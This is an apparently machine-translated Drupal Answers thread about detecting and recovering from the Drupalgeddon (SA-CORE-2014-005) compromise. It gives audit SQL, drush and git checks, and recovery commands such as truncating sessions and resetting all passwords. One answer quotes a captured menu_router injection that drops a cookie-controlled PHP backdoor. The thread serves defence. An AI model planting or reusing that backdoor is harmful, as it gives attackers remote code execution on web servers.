Drupal SA-CORE-2014-005-如何判断我的服务器/站点是否受到威胁?


40

我刚刚使用解决Drupal SA-CORE-2014-005漏洞的补丁方法更新了所有站点。我刚刚读到一些报道,就在昨天,有一个来自俄罗斯IP的渗透到drupal网站的人。

https://www.drupal.org/SA-CORE-2014-005

我现在主要担心的是:

  • 如何判断我的网站是否包含在内?
  • 我应该在apache访问日志中搜索什么以检测我的站点是否是受害者?
  • 到目前为止,这些黑客对组成的网站做了什么?


如果我没有为100个drupal网站设置别名该怎么办?您发现了哪些常见的骇客,所以我们知道要做什么?
Patoshiパトシ2014年


1
@duckx检查drupalgeddon模块中的代码,您会发现那些常见的技巧。由于明显的原因,我们无法列出恶意用户对数据库的完全访问权限可能进行的所有可能更改。他们可以对Drupal mysql用户有权进行的任何更改,这就是重点。因此,确切地说,唯一可以肯定的方法是将当前数据库与已知的良好版本进行比较。如果你正在寻找一个按钮来推,将可靠,100%准确的,告诉你,你的网站是否已被破坏,你在做梦恐怕:)
克莱夫

Ducky:如果您没有设置别名并且您有100个站点,那么设置别名比手动处理别名要容易得多?为您自己获取网站根目录和URL的列表,然后可以将其设置为一组别名。
克里斯·伯吉斯

Answers:


6

以下是一些可以针对您的站点数据库运行的SQL查询,以检查具有管理员权限的用户,以及哪些用户在10月15日之后访问了该站点。

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
嗨,欢迎来到Drupal Answers。您可以通过提供所提供页面的简短摘要来改善答案。
Wtower

顺便说一句,建议您检查10月15日之后创建created的用户。此操作使用users表中的字段。不能保证注入SQL的人会尊重该字段的值,这使得此检查不太有用。实际上,在我看来,按名称drupaldev创建的普通用户注入是在44周前创建的。至于第二项建议,又把它不能保证注入的用户确实登陆,
Wtower

29

如果您正在阅读本文,并希望在漏洞利用后一个多月检查一下Drupal 7网站,则您的网站很可能已经被黑了。最好的选择是从攻击开始之前恢复备份并从那里开始工作。

在SA-CORE-2014-005上有一个常见问题解答

如何判断我的网站是否遭到入侵?

快速检查站点是否受到威胁的一种方法是使用Drupalgeddon drush命令。

安装到您~/.drushdrush dl drupalgeddon

然后使用drush drupalgeddon-test进行测试。Drush别名使此操作变得简单快捷。

该工具可以确认被利用的站点,但是不能保证您的站点未被利用。除非您在攻击开始之前进行了升级,否则这里没有“干净的卫生单”。


站点审核模块包括来自Drupalgeddon的一些检查,并且还为您提供了更多有用的输入。我强烈推荐它。(编辑:现在他们一起工作-非常好!)


Security Review不会检查Drupalgeddon攻击,但同样值得您使用。


如果您的站点代码库可写给www用户,则可以使用被黑的模块另外检查修改后的代码。仅根据其名称,此模块可能无法完成您的想法:)


虽然没有一种确定所有受损站点的单一方法,但是这些工具可以帮助您识别最常见的迹象。


我应该在apache访问日志中搜索什么以检测我的站点是否是受害者?

到目前为止,您的访问日志将包含很多POST请求。除非您采取了不寻常的步骤来在bug之前记录所有发布数据,否则您不太可能获得信息来判断其中哪些是恶意的。

到目前为止,这些黑客对受感染的站点正在做什么?

许多人报告说他们的网站已被黑客修补!作为攻击者,这很有道理-您不希望新被劫持的站点被下一个攻击者从您的眼中:出来:)

除此之外,我站点被用来收获任何有价值的数据是存在的(也许抓住一些creds,也许提升交易细节后利用),并做无聊的事情像发送垃圾邮件和工作身份卑微的奴隶僵尸网络。哦,进一步扩大攻击者被劫持的Drupal网站的帝国。(抱歉,我没有任何可观察的黑客入侵网站。)


你能澄清一下吗?攻击总是会以POST请求开始吗?我正在检查日志中是否有任何POST。在修补后,从IP 62.76.191.119中发现了一个。
兰斯·荷兰2014年

我有一个网站是该漏洞的受害者,而且攻击者似乎使用它从服务器发送了大量垃圾邮件。
Cyclonecode 2014年

24

对常见攻击进行了一些检查(这不是详尽的清单,但是到目前为止,在野外还可以看到一些攻击):

  • 检查您的用户1帐户,确保其用户名,电子邮件地址或密码与您期望的一样。如果可能,还请检查具有高级别权限的任何其他用户帐户。
  • 检查看起来可疑的新用户帐户。
  • 检查系统上角色的更改,例如,任何新角色或重命名的角色。
  • 检查权限更改。这方面最重要的方面是确保未更改匿名用户角色(或任何人都可以注册以获得的其他角色)来增加访问权限。
  • 检查是否可能包含恶意代码的新自定义块。
  • 检查可能包含恶意代码的新的自定义节点。
  • 检查文件系统上不应该存在的文件。如果使用版本控制,这很容易,因为您可以执行git status或svn st来查看是否有任何新文件。
  • 如果他们已经上传了恶意文件,则可以检查您的访问日志,以查找对您不熟悉的陌生文件名的点击。
  • 检查菜单路由器数据库表中是否存在恶意条目。例如(drupal.org上的drupalgeddon模块/ drush插件有一个很好的脚本可以更彻底地检查此表):

    SELECT * FROM menu_router WHERE access_callback ='file_put_contents';

  • 您也可以只浏览菜单路由器表以查找外观怪异的条目。

黑客正在尝试做的一些事情是:

  • 将php脚本文件放到您的站点上,然后通过在浏览器中点击它们就可以运行它们。这些脚本可以执行各种恶意操作。这可以通过添加恶意菜单路由器条目来实现。
  • 为他们创建管理员用户帐户,然后使用这些帐户对您的网站进行不良处理或接管您的网站。
  • 更改用户1的电子邮件地址,以便他们随后可以重置该帐户的密码并接管该帐户。
  • 更改对公共可访问用户角色的权限。
  • 添加块/节点/等。可能包含恶意代码。如果您启用了PHP过滤器,那么问题就更大了。

不幸的是,攻击者可以对您的数据库执行很多操作,以致于很难给出完整的可能性列表。他们可能会做一些事情,试图让他们控制您的网站,或者可能只是破坏您的网站而删除数据库表或列等。

他们甚至可以对站点配置进行非常小的更改,例如更改您的站点名称或类似的名称,这虽然不是世界末日,但仍然存在问题。

基本上,您可以通过运行SQL命令在数据库中执行任何操作,从理论上讲,攻击者可以执行此操作。

克里斯·伯吉斯(Chris Burgess)的答案中提到的所有模块在检查这些内容时都非常有用。


1
您必须被62.76.191.119击中。通常,看起来该IP试图通过menu_router将文件放置在您的docroot中,并可能将其他讨厌的东西放置到您的数据库中。您可以在drupal.org/node/2357241中阅读评论。
2014年

到目前为止,我对自己网站的调查还没有发现任何打击。这仅仅是帮助OP的信息。
rooby

我将如何处理“检查菜单路由器数据库表中是否存在恶意条目:”?我在centos服务器上,我有root。
Patoshiパトシ2014年

您可以运行数据库命令“ SELECT * FROM menu_router”,然后在所有这些命令中进行遍历以检查看起来不合适的行。我的答案中还提到了一个更具体的命令,该命令查找一种已知的特定攻击,该攻击用于将文件上传到服务器。
rooby 2014年

IP 62.76.191.119在安全更新发布后的一天之内尝试利用我的网站的漏洞。我禁止所有网站访问。我很幸运能够及时升级网站。这很奇怪,因为它按字母顺序打在我的网站上。
cayerdis

10

我认为我会接受drupal.org的建议:“ 您应该假设每个Drupal 7网站都受到了损害,除非在世界标准时间10月15日晚上11点(即发布后7个小时)之前进行了更新或修补。” 正如Bevan评论中所说的那样:“更新或修补Drupal不能修复攻击者在更新或修补Drupal之前安装的后门程序。”

Bevan还制作了以下工作流程图表,以帮助您分析您是否已被感染以及如何恢复和预防。但是,他要求所有人阅读他的原始文章,以确保您具有最新版本的工作流程。另外,Acquia 撰写了一篇有趣的文章,介绍了他们在Acquia Cloud中经历的攻击和模式

 流程图,以了解您是否容易受到攻击,是否已被感染以及如何恢复


4

引用自:https : //www.drupal.org/node/2357241#comment-9258955

这是被插入menu_router表的access_callback列中的文件的示例:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

如您所见,它正在尝试创建文件modules / image / vzoh.php,但是由于我在那些目录中只有读取权限,因此php失败。

报告发现有人在您的drupal目录中进行搜索而创建的类似文件的报告:https : //www.drupal.org/node/2357241#comment-9260017


我所做的是执行以下命令:

ack --type = php'php \ $ form'> hacked_searched_php_form1.txt

==================

引用自:http : //www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

显示实时服务器上已更改的文件:git status

通过menu_router查找代码执行尝试:从menu_router中选择*,其中access_callback ='file_put_contents'

显示哪些文件在实时服务器上,而不在版本控制中:diff -r docroot repo | grep docroot | grep'仅在docroot中'

在files目录中查找PHP文件:find。-path“ * php”

检查从用户登录到您的网站到他们最近的页面访问之间的时间:选择(s.timestamp-u.login)/ 60/60/24 AS days_since_login,来自会话s内部加入用户的u.uid s.uid = u.uid;


3

很好的命令列表,可以告诉您您是否受到攻击。

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
而不是给出单独的答案,也许您应该编辑第一个答案并添加其他信息?
Cyclonecode 2014年

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.